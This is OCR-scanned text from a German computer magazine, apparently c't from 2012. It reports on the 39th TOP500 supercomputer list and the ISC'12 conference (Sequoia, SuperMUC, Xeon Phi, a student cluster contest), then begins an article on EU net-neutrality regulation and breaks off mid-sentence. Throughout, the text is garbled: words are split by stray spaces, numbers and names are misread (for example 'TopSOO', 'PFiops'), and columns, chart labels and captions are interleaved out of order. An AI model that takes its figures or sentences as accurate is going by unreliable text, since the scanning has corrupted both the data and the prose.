Racks für JuQUEEN sowie der a lte JuGENE mit 
B lueGene/P insta l l ie rt. in Kü rze muss der 
JuGENE weichen und an seiner Ste l le  sol len 
28 B lueGene/Q-Racks rackern, u m  dann mit 
fast 5 PFiops d ie Spitze zu übernehmen. 

Zwischenzeit l ich war auch ma l  der Dritte 
im Bunde des deutschen Gauss Centre of Su­
percomput ing a n  der deutschen Spitze und 
weltweit i n  den Top 1 0: Hermit am Höchst­
le istungsrechenzentrum Stuttga rt (HLRS), e in 
Cray-XE6-System mit  AMD-I nter lagos. Mit  
se inen 830 TFiops konnte er  jetzt nu r  noch 
weltweit P latz 24 erreichen.  

Zwischen SuperMUC und JuQUEEN l iegen 
noch Ti nghe- 1  A aus Ch ina  (2,57 PF iops mit 
I ntel Xeon X5670 und  Nvid ia Tes la  2050) 
sowie der  Cray-XK6-Rechner Jaguar  der Oak 
Ridge National Labs, d ie  beide i n  der letzten 
Liste die P lätze 2 und 3 belegten. Oak Ridge 
hat a l le rd i ngs  den Jaguar  weiter von Cray 
XTS-HE  mit  Mag ny-Cours a uf Cray XK6 mit 
l nterlagos und  Nvidia 2090 aufgerüstet und 
von 1 ,76 auf 1 ,94 PF iops zugelegt. 

Wegen seiner zah l re ichen B lueGene-, iDa­
tap lex- und x86-B iade-Rechner  domin iert 
IBM a l s  Herste l ler  d ie TopSOO-Liste weiterh in 
k lar vor Hewlett-Packard. Zwar stammen nu r  
noch  2 1 3  Systeme von  zuvor 223  von  I BM, 
aber  in der akkumu l ierten Rechenle istung er­
br ingen d iese nahezu 50 Prozent der  Ge­
samt le istung .  I h r  Antei l lag in der letzten 
Liste nur bei 27 Prozent. 1 38 Systeme stam­
men von Hewlett-Packa rd (zuvor 1 4 1 )  mit 
n u r  noch knapp 1 0  Prozent der Gesamtleis­
tung, gefolgt von Cray (27 Systeme, 8,9 Pro­
zent), Bu l l  und  SG I .  B is lang war Cray im obe­
ren Tei l  der Li ste vorneweg, mit etwa dop­
pelt so vielen Systemen und doppelter Re­
chen le istung wie IBM i n  den TopSO, das hat 
sich n u n  komp lett gedreht: IBM hat m it 
22 d re imal  mehr  Systeme in den TopSO m it 
e iner dank  Sequoia,  M i ra und SuperMUC u m  
Faktor sieben höheren Rechenle istung.  

Ohne Holland . . .  

U nter den k le ineren Systemhäusern schlägt 
s ich eine deutsche F i rma recht g ut. Meg­
wa re aus Chemn itz kon nte i m merh in  d re i  
Systeme i n  d ie  TopSOO br ingen,  a n  den Un i s  
von  Ma inz, Os lo  und  Wien .  C lu stervis ion aus  
u n serem ho l l änd ischen Nachbar l and  hat  
zwei Systeme i n  der L iste: e inen Supercom­
puter in Saud i-Arab ien und e inen an  der U n i  
F ra n kfu rt, der  dank  Radeon-G PU-Besch leu­
n i g u n g  mi t  299 TF iops Deutsch lands  
schne l l ster Hochsch u l rechner  i st. N u r  im  
Heimat land von  C lustervis ion s ieht es düster 
aus ,  denn  die ökonomisch und wissen­
schaft l i ch  trad it ione l l  sta rken N iederländer  
g l änzen aktue l l  d u rch Abwesen heit be i  den 
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g roßen Rechnersystemen .  1 8  J a h re l ang  
waren u n sere Nachbarn  besten s  i n  der  
TopSGO-Liste vertreten, mit  b is zu 14  Syste­
men im Herbst 2000, doch der e i nz ig ver­
b l iebene in die Jah re gekommene H uygens­
Rechner auf Bas is  von I BM-Power-6-Prozes­
soren i st mit se inen geruhsamen 50 TFiops 
schon im  Herbst letzten Jahres aus der  Liste 
gefa l l en .  Ein Petaflops-System hat das n ie­
derländ i sche Supercomputerzentru m SARA 
zwar inzwischen bei IBM i n  Auftrag gegeben 
- doch das wi rd erst fü r 20 1 4  erwartet. Böse 
Zungen behaupten n u n, dass die Ho l l änder  
nu r  desha l b  so schmäh l ich  be i  der  EM aus­
geschieden s ind ,  wei l  i h nen d ie  Rechen po­
wer feh lte, um d ie  Gegner  zu ana lys ie ren 
und d ie  F lugbahn der  Van-Persie-Geschosse 
zu optim ieren . . .  

I n sgesamt l iegen i n  der  Länderstatist i k 
weiterh in  d ie  USA k lar  vorn mit  253  (von 
zuvor 263) Systemen.  D ie Eu ropäer haben 
zwar von 1 03 auf 1 07 zugelegt, b le iben aber 

Sequoia 

96 Racks auf  3 1 8  Quadratmetern, 98 304 Re­
chen knoten mit ebenso vielen B lueGene/Q­
Prozessoren, e in  jeder mit 1 6  Kernen, a l so 
insgesamt 1 572 864 Rechenkerne. H i nzu 
kommen 16 GByte Speicher pro Knoten, das 
macht 1 ,54 PByte Hauptspeicher - auch in 
d ieser Kategorie zeigt d ie neue N ummer eins 
am Lawrence Livermore Nationa l  Labaratory 
(LLNL) i h r  Petasca le-Format, knapp vor dem 
japanischen K-Computer mit 1 ,34 PByte. 

E igent l ich enthä lt  der offizie l l  PowerPC A2 
genannte Prozessor sogar  noch zwei weite­
re Kerne: e iner d ient 1/0-Zwecken, der a nde­
re ist als Reservekern abgeschaltet. Die B lue­
Gene-Prozessorl i n i e  fü r energ ieeffizientes 
massivpara l le les Comput ing startete e inst 
mit leicht verändertem Embedded PowerPC 
440. Die Prozessoren wurden im Lauf der  
Zeit insbesondere i m  Gle itkommabereich 
immer mehr  fü r H PC optimiert. Mit  dem 
Bl ueGene/Q wurden d ie  Kerne auf 64 Bit 
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Mellanox reizt PCie völl ig aus: 
Mit zwei l nfin iBand-FDR-Ports 
und 1 6  Lanes kommt die 
Connect iB auf über 1 00 GBit!s. 

LRZ-Direktor Prof. Dr. Arndt 
Bode und die deutsche I BM­

Chefin Martina Köderitz halten 
stolz die Siegerurkunden des 

!SC-Veranstalters und TopSOO­
Mitbegründers, Prof. Dr. Hans 

Meuer. 

weiterh i n  h i nter Asien 1 2 1 (zuvor 1 1 8) zu­
rück. China hat e ine k le ine Pause e ingelegt 
und e in wen ig verloren 68 (zuvor 74) . Japan 
hat wieder etwas a ufgedreht und kon nte 
jetzt 34 (zuvor 30) Systeme p latzieren .  
Deutsch land, F ra nkreich und Großbritann ien 
l iegen m it 20, 22 und  25 Systemen nahezu 
g le ichauf, aber Deutsch land hat dank  seiner 
d re i  .,d icken E isen" vom Gauss  Centre die 
Nase i n  puncto Rechen le i stung vorn; m it 
8 , 1  PF iops vor Großbritann ien  (6,5 PF iops) 
und Frankreich (6,4 PF iops). 

Xeon Phi  

I ntel nutzte d ie  Konferenz i n  Hamburg, u m  
d ie Coprozessor-Karte Knights Corner vorzu­
ste l len ,  zumindest i h ren offizie l l en  Namen, 
der fü r d ie gesamte MIC -Lin ie  (Many l ntegra­
ted Cores) steht: Xeon Phi. Das i st aber trotz 
des Namens kei n  Xeon-Prozessor, sondern 
e in  spezie l ler  Coprozessor m it .,über 50" Re-

aufgerüstet und  IBM füh rte h ier  erstma ls  
Ha rdwareunterstützung fü r Transact iona l  
Memory e in .  A lte B lueGene-Software läuft 
n icht ohne Neukompi lation auf B lueGene/Q. 

Sequ ioa wird s ich aussch l ieß l ich um d ie Op­
t im ierung des amer ikan ischen Kernwaffen­
potenzia l s  kümmern und steht der  a l lge-

Die Leiterin der 
Computer Division 

des Lawrence 
Livermore National 

Laboratory, Kim 
Cupps, ., lauscht" 
gemeinsam mit 

Systemingenieur 
Adam Bertsch dem 
derzeit schnel lsten 

Computer der Weit: 
Sequoia. 
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on the TOPsoo List pu blished at the l�l: 1.l wm 

Congratulations from the 

chenkernen, d ie  i rgendwo zwischen einem 
u ra lten Pent ium und dem Atom angesiedelt 
s ind,  ein jeder Kern verfügt a l lerd ings  über 
e ine 5 1 2-bittige Vektore inheit 

Als  erstes Mitg l ied d ieser Linie sol l  der in 
22-n m-Techn ik  gefertigte Kn ights Corner 
Ende des Jah res herauskommen.  B is  zu 62 
Kerne - d ieser Wert wurde von I ntel immer 
noch nicht offiz ie l l  bestät igt - können h ier 
aktiv mitrechnen .  E i n  paar Prototyp-Karten 
waren schon bei Partnern an den Ständen zu 
sehen. Die Ka rte am HP-Stand etwa gab bei 
/proc/cpu info 240 logical cores aus, l ief a l so 
m it 60 physischen Kernen und Vierfach­
Hyper-Th reading .  

E in l ntei-Testsystem Discovery konnte mit 
frühen Prototypen bereits 1 1 8 TFiops erzielen 
und so auf Platz 1 50 in  d ie TopSGO-Liste ein­
ziehen. Discovery besteht aus 1 40 Knoten mit 
Xeon-ES-Prozessoren, in q ie vermutl ich 1 40 
Kn ights-Corner-Karten eingesteckt waren. Bei 
denen rechneten dann offenbar jewei l s  nur  

me inen Wissenschaft n icht  zur  Verfügung.  
Das war u rsprüng l i ch  a nders geplant, i st 
aber aus  Sicherheitsg ründen geändert wor­
den .  F ü r  d ie  Wissenschaft hä lt das LLN L 
e inen weiteren Supercomputer namens 
Dawn bereit, e in  B lueGene/P-Rechner mit 
4 1 5 TF iops, der  P latz 42 a uf der TopSGO­
Liste belegt. 
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Anzahl der Systeme pro Hersteller 

12,0 % Rest ------, 
2,4 % Deli 
3,2 % SGI 
3,2 % Bul l  
3,8 % Appro 

5,2 % Cray lnc. 

27,6 % HP 

Anzahl der Systeme pro Land 

13,6 % Rest 

2,0 % Kanada 
4,0 % I 
4,4 %  Frankr. 
5,0 % Groß-

britannien 
7,0 % Japan 

13,6 % China ----=-

Anzahl der Systeme pro Prozessorhersteller 

0,2 % JIOII\jll011 .--� 
0,2 % 
1,0 % tUJI!I;u ------r=--� 
11,6 % 

SuperMUC 

42,6 % IBM 

50,4 % USA 

74,6 % Intel 

SuperMUC besteht a u s  1 8  "d ü nnen  Kno­
ten- Inse ln" a u s  jewe i l s  5 1 2  Zwe i sockel­
i DataP iex-Boards oder -Knoten, bestückt 
m it i n sgesamt 1 47 456 Sa ndy-Br idge-EP­
Kernen (Xeon ES-2680).  Der l nterconnect 
läuft über l nfi n i Band FDR 1 0. H i nzu kom mt 
e ine "d icke I n se l " mit  I ntel Westmere EX, 
d ie vertei lt auf 205 Viersockel-Boards wei­
tere 8200 Kerne beiträgt. Zusa m menge­
rechnet verfügen d ie  beiden I nse lg ruppen 
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Performance [PFiops] pro Hersteller 

21,76 % Rest 
1,11 % Dell _ 

2,81 % SGI  
4,57 % Bul l  
3,60 % Appro 47,51 % IBM 

8,79 % Cray lnc. 

9,85 % HP 

Performance [PFiops] pro Land 

10,37 % Rest 
1,13 % 
6,51 % 

9,13 % China 

48,04 % USA 

Performance [PFiops] pro Prozessorhersteller 

0,61 % Jiangnan 
0,10 % NEC 42,27 % Intel 
9,66 % Fujitsu 

über  340 TByte H a u ptspeicher .  D ie  West­
mere- I nse l  b l i eb  be im L in pack-Lauf a l l e r­
d i ngs  a u ßen vor - s ie hätte eh n u r  etwa 80 
TFiops zusätzl ich erbracht. Rund 9 Stunden 
brauchten d ie 1 8  d ü nnen  I n se l n  fü r das  
L in pack-Ergebn i s  von 2,89 PF iops.  D ie Be­
sonderhe it  ist be im S u perMUC d i e  He iß­
wasserkü h l u ng .  Wä h rend üb l i cherweise 
Supercomputer 8 b i s  1 2  oc kaltes Küh lwas­
ser  benöt igen,  das energ iea ufwend ig  

Der Europa­
meister kommt 
- zumindest bei 
den Super­
computern - aus 
Deutschland: 
SuperMUC, nicht 
vom FC Bayern, 
sondern LRZ­<endece<>on SuperMUC �'.Y'Z- Garching. 

Auftei lung der Systeme der 39. TopSOO­
Liste mit 1 23 PF iops auf die Hersteller, die 
Länder und die Prozessorherstel ler 

54 Kerne mit, was s ich aus  der veröffentl ich­
ten Anzah l  von 7560 Rechenkernen sch l ießen 
lässt. Mit 1 1 76 MFiops/Watt hat s ich das Test­
system bezüg l ich Energieeffizienz n icht so 
wirkl ich mit Ruhm bekleckert - das ein oder 
andere Nvidia-GPU-besch leun igte System 
l iegt schon jetzt etwas darüber und die von 
Nvid ia ebenfa l l s  fü r Ende des Jah res ange­
kündigte Tes la-K20-Ka rte so l l  noch d re ima l  
effizienter se in .  Fü r  d ie  fi na le  Vers ion g ibt 
I ntel für den Xeon Ph i  1 TFiops pro Knoten im 
L inpack-Benchmark an  - wobei unklar  b l ieb, 
ob d ieser Wert d ie Xeon-ES-Performance mit 
u mfasst oder a l le in  von der Coprozessor­
Ka rte geleistet wird; zwei Xeon-ES-Prozesso­
ren kön nen ja bereits 360 GF iops le isten. 
Mög l icherweise notor isch nachfragende 
Journa l isten hat man woh l l ieber nicht dabei 
haben wo l len  und s ie daher n icht von der 
Vorverlegung der Pressekonferenz informiert. 
M it Kopfsch ütte l n  reag ierten viele Wissen­
schaftler zudem auf d ie h i nter den Kul issen 
bestätigte Tatsache, dass Knights Corner nu r  
PC ie  2 .0  unterstützen wird. 

JSC-Chef Thomas L ippert hielt am I ntel­
Stand einen Vortrag über Besch leun iger, bei 
dem er auch dezid iert auf PCie als F laschen-

heru ntergekü h lt werden m u ss, kan n  man 
den SuperMUC m it 40 oc warmem Wasser 
versorgen .  Auf bis zu  60 oc ka n n  es s ich 
be i m  D u rc h l a uf a ufheizen, Der  Tr ick: So 
kan n  man es a n  normaler U mgebungs l uft 
abküh len  lassen u n d  es fü r d i e  He izung 
verwenden .  

Etwa 10  Prozent der An lage, d ie Switches 
und die Fat Node ls land,  sind derzeit noch 
klassisch m it Luft und Wärmetauschern an 
der H interseite der Racks geküh lt. Wie LRZ­
D irektor Prof. Dr  Arndt Bode in seiner Key­
note erklä rte, wi l l  man aber auch h ier bald 
auf Di rektküh lung umstel len .  An Konzepten, 
die Nachbargebäude der TU-Mü nchen m it 
Warmwasser fü r Heizzwecke zu versorgen, 
a rbeitet man noch. Etwa 85 M i l l ionen Euro 
hat der Rechner samt des neuen dafür errich­
teten Gebäudes gekostet, für die zweite Aus­
baustufe sind weitere 48 Mi l l ionen vorgese­
hen.  H ier  sol l  Software aus  a l len Bereichen 
der Wissenschaft laufen, Schwerpunkte sind 
Kosmologie und Seismologie. Gut 30 Prozent 
seiner Rechenzeit ste l l t  SuperMUC im Rah­
men von PRACE europäischen Forschungs­
projekten zur Verfügung, ebenso wie das Jü­
l ich SC und HLR-Stuttgart, die sich h ierfür im 
Gauss  Centre for Supercomputing zusam­
mengeschlossen haben. 
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Report I Supercomputer 

Die Top l  0 der  39. TopSOO-Liste der  Supercomputer 
Redtner (Hersteller) Betreiber 

1 (-) Sequoia (IBM) Lawrence Livermore National Lab USA 1 572 864 Bluegene/Q 1 ,6 GHz 1 6 325 
2 ( 1 ) K Computer (Fujitsu) RIKEN Advanced Institute for Computational Science (AICS) Japan 705 024 8C-SPARC64 Vll lfx, 2 GHz 1 0 5 10 12,7 
3 (-) Mira ( IBMJ Argonne National Laboratory USA 786 432 Bluegene/Q 1 ,6 GHz 8162 3,95 
4 (-) SuperMUC (IBM) Leibniz-Rechenzentrum Deutschland 1 47 456 8C-Xeon ES, 2,7 GHz 2897 3,52 
5 (2) Tianhe-1A (NUDT) National SuperComputer Center Tianjin China 1 86 016 6C-Xeon 2,93 GHz +7168 x 14 Nvidia Tesla M2050 2566 4,04 
6 (3) Jaguar (Cray XK6) Oak Ridge Naiional Lab USA 298 592 16C-Opteron, 2,2 GHz 1 941 5,14 
7 (-) Fermi (IBM) CINECA Italien 1 63 840 Bluegene/Q 1 ,6 GHz 1 725 0,82 
8 (-) JuQUEEN (IBM) Forschungs-zentrum Jülich Deutschland 1 3 1  072 Bluegene/Q 1 ,6 GHz 1 381 0,68 
9 (-) Curie Thin Nodes (Bull) CEA/TGCC-GENCI Frankreich 77 1 84 8C-Xeon ES, 2,7 GHz 1 359 2,25 
10 (4) Nebulae (Dawning) National Supercomputer Center Shenzhen China 55 680 6C-Xeon 5650 2,66 GHz + 4640x 14 Nvidia Tesla QOSO ( 1 , 15 GHz) 1271 2,58 

ha ls  h inwies. Die Jü l icher haben n icht nu r  viel 
Erfahrung mit B lueGene, sondern auch mit 
GPUs. So ist dort u nter anderem e in GPU-Sys­
tem mit Namen J u DGE  (Jue l ich Ded icated 
Graph ics Envi ronment) im E insatz, ein I BM­
Dataplex-System mit 206 l ntei-Xeon-Knoten, 
ein jeder bestückt m it zwei Nvid ia-2070. 
JuDGE erreicht mit 1 1 5 TFiops immerhin P latz 
1 57 der Top500-Liste. Jü l ich hat s ich d iesbe­
zügl ich sehr breit aufgeste l lt: Nach den bei­
den gemeinsamen Labs mit  IBM und I ntel 
gründete man nun auch e in  Appl ication Lab 
mit Nvidia. 

Die Münchener Kol legen des Leibn iz-Re­
chenzentrums setzen bei den Besch leun igern 
vor a l lem auf l ntels Xeon Phi ,  wobei s ie woh l  
schon mehr  I nformationen übe r  d ie  ü ber­
nächste Generation haben, denn d ie nächste 
g roße Ausbaustufe ist fü r 20 1 4  geplant. H ier­
für müssen dann auch die Coprozessor-Ka r­
ten mit spezie l len Küh ltechn i ken versehen 
werden, damit s ie i n  das Heißwasserküh l kon­
zept passen. Das Stuttga rter HLRS schaut mit 
seinen Cray-Systemen erst einmal auf Nvid ia.  
Cray hat a l lerd i ngs  schon verkündet, dass 
man mit der geplanten Xeon-Piattform Cas­
cades auch Xeon Phi im SMX-Formfaktor  an­
bieten wi l l .  Nur  so l len d iese dann  n icht So­
ckel-kompatibel zu Nvid ia-GPUs sein .  

AMD war auch da, zeigte e in paar Bu l ldo­
zer-Systeme und konnte wie I ntel mit e inem 
neuen a lten Namen aufwarten. F i reStream a l s  
Brand wird es n icht  mehr geben, GPU-Ka rten 
fü r Server werden zukünftig u nter F i rePro 
vermarktet, wobei e in h inter der Zah l  ange­
hängtes "P" dara uf h inweist, dass die Ka rte 
keinen Grafi kausgang besitzt. Zwei Systeme 
i n  der Top500 Liste ( in  F rankfurt und Nagasa­
k i )  s ind mit AMD-GPUs bestückt - a l lerd ings  
n icht mit e iner  im  H PC-Bereich n ie  wi rkl ich 
angekommenen F i reStream, sondern mit  
preiswerten Radeon-Desktop-Karten .  

Nvidia war omn ipräsent a n  Dutzenden 
von Partnerständen, res id ierte selbst aber nur 
im benachbarten KonferenzhoteL H ier  und 
da gab es Kepler-GKl l 0-Ch ips im  SMX-For­
mat zu bewundern, etwa bei Eu roTech, a l ler­
d ings versteckt h inter g roßen Küh l körpern. l n  
zwei Wochen, so  Nvidia, sol len d ie für Berech­
nungen in einfacher Genau igkeit optimierten 
Tes la-Kl O-Karten mit zwei GK1 04-Ch ips und 
4,6 TFiops Spitzen lei stung herauskommen.  
Ende des Jahres sol len d ie  Tesla-K20-Karten 
fü r doppelte Genau igkeit fo lgen,  an denen 
s ich l ntels Xeon Ph i  dann messen m uss. 
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I nsgesamt 58 (zuvor 39) der Top500-Sys­
teme s ind i nzwischen m it Besch leun igern 
versehen,  ü berwiegend m it Nvid ia-GPUs  
(53) .  I ntel i s t  be i  den  Hauptprozessoren m i t  
372 Systemen etwas schwächer vertreten a l s  
vor  e inem ha lben Jahr  (384). AMD h ielt s ich 
mit  63 �auf dem g le ichen Stand und  I BM 
Power kon nte dank  B l ueGene/Q auf 58 
(zuvor 49) zu legen.  Auch 5 SPARC-Systeme 
s ind jetzt i n  der Liste vertreten .  Die Gesamt­
leistung der 500 verzeichneten Supercompu­
ter nahm dank der g roßen Petaflops-Systeme 
gegenüber der vorigen Liste vom November 
201 1 kräftig um 66 Prozent von 74,2 auf 1 23,4 
PF iops zu. Die E instiegs le istung,  um über­
haupt in die Liste zu kommen, stieg a l lerd ings 
nu r  mäßig von 51  auf 6 1  TFiops. 

Vorerst letztma l ig  fand die I nternationa l  
Supercomput ing Conference i n  Harnburg 
statt, d ie mit 2403 regi str ierten Tei l nehmern 
wieder e inma l  kräftig zu legen konnte. Die 

Student Cluster Chal lenge 

Zum ersten Ma l  wurde be i  der  I SC 1 2 auch  
e in  Studentenwettbewerb a usgetragen,  
be i  dem es darum g ing, Software auf e inem 
k le inen C luster "zum F l iegen" zu br ingen.  
Der C luster d urfte dabei  3 kW Energ ieauf­
nahme n icht ü bersch reiten .  Neben dem 
trad it ione l len L inpack ga l t  es ,  das  System 
für Software zu optimieren, die erst am Ver­
ansta ltungstag bekannt gegeben wurde 
(etwa Wetterberechnung) .  

Fünf Mannschaften nahmen daran tei l ,  zwei 
aus  ch ines ischen · Un i s  (Ts inghua  und  
N U Dn, zwei US-amerikanische (Stony Brook 

Alles Sieger: Es gab 
Preise in  mehreren 

Kategorien. Den 
Gesamtpreis erhielt 

die Studentengruppe 
der chinesischen 

Tsinghua-Universität. 
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Veransta ltung zieht nun  im nächsten Jahr  
nach Leipzig um, wo Veranstalter Meuer 
beim CCL auf dem Messegelände noch mehr 
Fläche fü r d ie beg leitende Ausste l lung bereit­
ste l len kann .  Vie l le icht so l l  d iese auch ein 
bisschen weiter weg vom nächsten Hotel 
sein, damit es F i rmen wie Nvidia nicht ganz 
so einfach haben, ins  mög l icherweise kosten­
günstigere Hotel auszuweichen. Ein anderer 
Herstel ler, der i n  den letzten Jahren erhebl ich 
i n  den Messeauftritt i nvestiert hatte, verab­
schiedete sich i nzwischen ganz von der HPC­
Schiene: Microsoft. Ende Mai nahm sich der­
jenige, der viele Jahre lang bis vor wenigen 
Monaten fü r H PC bei Microsoft verantwort­
l i ch  war, der 38-jäh rige Kyr i l  Faenov, das 
Leben. Und da bei Microsoft kein  Nachruf zu 
finden ist, übernehmen wir  das hiermit. Der 
ganzen Szene wird Faenov a l s  kompetenter 
und  sehr angenehmer Gesprächspartner in 
Er innerung bleiben. (as) C't 

und  Colorado) und e ine deutsche (Team 
kl uster vom Kar lsru her KIT). Den Gesamt­
sieg fuh r  das Team der Tsinghua-Un iversität 
e in ,  d ie  deutschen Tei l nehmer bekamen 
aber auch e inen Pre is  fü r den schne l l sten 
L inpack-Wert ohne GPU-Unterstützung 
(2 ,3 TF iops) .  Zudem hatte d ie  Gruppe ihr  
System fü r echte 3 kW optimiert und geriet 
etwas aus  der Fassung, a l s  s ie festste l len 
musste, dass d ie  Veranstalter m it einem 
Amperemeter maßen und den Stromwert 
einfach mal  230 V nahmen - ein Graus für 
jeden Elektrotechn iker . . .  Das sol l  aber im 
nächsten Jahr  i n  Leipzig besser werden. 
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Report I Netzneutra l ität 

Richard Sietmann 

Etikettenschwindel 
Brüsseler Mogel packu ng bei der Netzneutra l ität 

Beharrl ich treibt d ie  EU-Ko m mission den U m bruch der Teleko m m u n i kation 
voran: Der jetzt vorgelegte Bericht der europäischen Reg u l ierungsbehörden 
zur Netzneutra l ität unterstützt sie i n  dem Vorhaben, den Zugangsnetzbe­
treibern freie Bahn bei der Durchsetzu ng neuer Geschäftsmodelle zu lassen. 

A l s  Ende 2009 d ie Reform der Richt l in ien 
zur Telekommun ikation kurz vor  der Ver­

abschiedung zu kippen d rohte, wei l  im Eu ro­
päischen Par lament Bedenken gegen d ie  
du rch subti les Netzmanagement ermög l ich­
ten neuen Geschäftsprakt iken aufkamen,  
zeigte s ich d ie  EU-Kommiss ion gegenüber  
den Kritikern konzi l i ant. l n  e iner pol it ischen 
Absichtserklä rung im  Anhang des Reform­
pa kets beka nnte s ie s ich zur  Erhaltung der  
Netzneutra l ität - recht l ich u nverbi nd l ich ,  
und ohne das Ziel wirk l ich zu konkretis ieren. 
Man werde d ie Entwick lung aufmerksam be­
obachten, versprach die neue Kommissa r io  
fü r d ie D ig ita le Agenda,  Neel ie Kroes, und 
forderte zur  Vorbere itung e iner  gepla nten 
Kommissionsempfeh lung beim Gremium Eu­
ropä ischer Regu l ierungsste l len fü r e lektroni­
sche Kommun ikation (GEREK) e ine Bestands­
aufnahme und Ana lyse der Problematik an .  
Zugleich l ieß s ie  aber keinen Zweifel daran ,  
dass  s ie über das Reformpaket h inausgehen­
de Vorgaben an  d ie Netzbetreiber fü r ü ber­
fl üssig ha lte. Der Wettbewerb der Anbieter, 
die Transparenz der Angebote und unkom­
p l iz ierte Providerwechsel  der  Kunden wür­
den schon dafü r  sorgen, dass d ie  Verände­
rungen den Verbrauchern n icht zum Nach­
tei l gereichten. 

Ping-Pong-Spiel 

Der mit  v ier  Tei lberichten und einer Er läute­
rung insgesamt 230 Seiten u mfassende 
GEREK-Report l iegt jetzt vor.  Er stützt i n  sei­
nen Sch l ussfolgerungen das Brüsseler Vorha­
ben, eine g rund legende I nfrastruktu rent­
scheidung aus dem pol it ischen Rau m  zu 
schieben und der Wirtschaft zu ü ber lassen, 
i ndem Zugangsnetzbetreiber bei der  Ent­
wicklung neuer Geschäftsmodel le mög l ichst 
freie Bahn bekommen [ 1 ] .  Die g roßen P layer 
wie Deutsche Telekom, Telef6nica und Voda­
fone haben bereits erklä rt, dass s ie den Sys­
temwechsel wol len  und auf ein Verte i l netz 
nach dem Vorb i ld  des Kabelfernsehens zu­
steuern [2]. Die zentra len neuen Geschäfts­
felder sehen die Konzerne in  l ukrativen Dea l s  
mit  I nha lteanbietern und Prog rammvera n­
sta ltern, in  denen sie darüber befi nden, wel­
che I nha lte zu welchen Bed ingungen zu den 
Endkunden gelangen. Als Kol latera lschaden 
wird der Ver lust der universa len Konnektivität 
des I nternet, der .. Any-to-Any"-Vernetzung 
der Tei lnehmer, in  Kauf genommen. 
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.. Vom Wettbewerb ist zu erwarten, dass er 
die Setre iber  d i szip l i n ie rt und  den Konsu­
menten d ie  besten Angebote s ichert", scha l lt 
es nun  vom GEREK zur  Kommiss ion zurück. 
Dies hänge .. von wi rksamer Transparenz und 
der Fäh igkeit der Endnutzer ab, den Provider 
le icht wechse ln  zu können". D ie vorhande­
nen Reg u l ie rungs instrumente reichten aus, 
u m  Wettbewerb und Transparenz zu s ichern; 
notfa l l s  stü nden die nat iona len Regu l ie­
rungsbehörden bereit, . .  u nverzüg l i ch  zu 
agieren", sol lte d ies doch erforderl ich sein. 

Der GEREK-Bericht hebt in  der Bestandsauf­
nahme d rei Kernpunkte hervor: Bei der I P­
Netzzusammenschaltung habe sich der Markt 
.. bisher sehr gut ohne nennenswerte Regu l ie­
rungseingriffe entwickelt"; zweitens  sei d ie  
Trennung von Netzwerk- und Anwendungs­
ebenen .. e in Wesensmerkmal des Best-Effort­
lnternet", d ie .. I nnovation und Wachstum er­
mögl icht" habe; und d rittens  könnten Ver­
kehrsmanagement und Differenzierungsprak­
tiken zwar auch ..für fragwürdige Zwecke oder 
i n  unangemessener Weise" e ingesetzt wer­
den, s ie seien jedoch .. per se nicht nachtei l ig". 

Auf schwan kendem Boden 

Liest man d ie d re i  Kernpunkte a l le rd ings  in 
der umgekehrten Reihenfolge, wird sichtbar, 
auf welch schwa n kendem Boden d ie  .. Con­
c lusions" stehen, mit denen sich GEREK h inter 
die Kommissa r io stel lt. Die .. D ifferenzierungs­
prakt iken" i n  Punkt 3 zielen ja i nsbesondere 
auf d ie automatische Erkennung von Anwen­
d ungen und I nha lten - beispie lsweise Voi P  
oder Videostreams - u m  s i e  jenseits von 
Bandbreite und Verkeh rsvo lumen u nter­
schied l ich ta rifieren und steuern zu können.  
Dam it wird jedoch genau d ie Trennung von 
I nha lten, Anwendu ngen, Vermitt l ung  und  
Übertragung aufgehoben, d ie (zweiter Punkt) 
nach Meinung  der europäischen Regu l ierer 
als Wesensmerkmal des I nternet I nnovation 
und Wachstum erst ermög l icht hat. 

Techn isch sind es .. inte l l igente" Steuerun­
gen an den Schnittstel len zu anderen Netzen, 
dem Network-Network- lnterface (NN I), und zu 
den Endkunden am User:Network- l nterface 
(UN I) ,  die das protoko l lbas ierte Layer ing 
du rchbrechen (s iehe dazu auch die Grafik auf 
Seite 74); wi rtschaftl ich ste l len N N I  und U N I  
Mauthäuschen dar, in  denen .. Pol icy Manager" 
bel iebig defin ierte Durch leitungskonditionen 
implementieren. I ndem sich Zugangsnetzbe-

Widersprüchl ich: Einerseits erklärt 
EU-Kommissarin Neelie Kroes öffentlich, 
dass sie ein .. einheitliches I nternet" 
wolle, in dem .. jeder Knoten mit jedem 
anderen kommunizieren kann, wo immer 
in der Welt er sich befindet". ln  ihrem 
Blog schreibt sie h ingegen, dass sie nicht 
jeden einzelnen Setreiber zwingen werde, 
.. das Internet vol lständig anzubieten". 

treiber d iese E ing riffsmög l ichkeiten schaffen, 
um ein inha lts- und a nwendungsbezogenes 
Netzmanagement ei nzufüh ren, ersetzen sie 
das neutra le  Vermitt lungskonzept der klassi­
schen Telekommun ikation d u rch e in Ver­
marktungsmodel l  fü r Content und Services. 
Und wenn (Punkt 1 )  die Zusammenschaltung 
autonomer Netze zum I nternet bis dato prak­
tisch un regu l iert die u n iversa le Konnektivität 
gewährleisten konnte, so lag dies daran, dass 
d ie Setreiber i n  Peering- und Transitvereinba­
rungen gerade n icht nach I nha lten und An­
wendungen d ifferenzierten, sondern den Ver­
kehr  in den Border Gateways bisher auf der I P­
Ebene übergeben und abrechnen. Diese Vo­
raussetzung wird künftig n icht mehr gegeben 
sein, soba ld im N N I  Wärter über Inha lte und 
Anwendungen wachen. 

Verquere Logik  

D i e  Regu l ierer fo lgen e iner verqueren Log ik, 
wenn s ie d ie mächtigen Marktplayer ausge­
rechnet a n  jenem Ast sägen lassen wol len,  
auf dem nach i h ren eigenen Festste l l ungen 
der Erfo lg des I nternet ruht. Zudem g lauben 
s ie, es reiche aus, e rst i m  Nach h i ne in  auf  
Fehlentwickl ungen zu reag ieren. Welche E in­
g riffskomplexität und  Bü rokratie s ie damit 
hera ufbeschwören, lässt s ich schon erahnen .  
Angenommen,  e in  P rog ram mveranstalter 
möchte Livestreams über das  I nternet ver­
breiten und mit P2P-Techn iken d ie von den 
Usern bereitgestel lte U pload-Bandbreite zur  
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Report I Netzneutral ität 

Weitervertei l ung n utzen, um auf d iese Weise 
Engpässe beim D i rekta bruf von zentra len' 
Servern zu vermeiden - so l l  e in  Zugangs­
netzbetreiber d ies blockieren dü rfen, damit 
er den Anbieter zwingen kann ,  am N N I  Strea­
mingkapazität bei i hm anzumieten?  

Der  GEREK-Report, fü r den d ie  Aussper­
rung von P2P-Verkeh r  e ine zu läss ige Diffe­
renzierungsmög l ichkeit da rste l lt, weicht an  
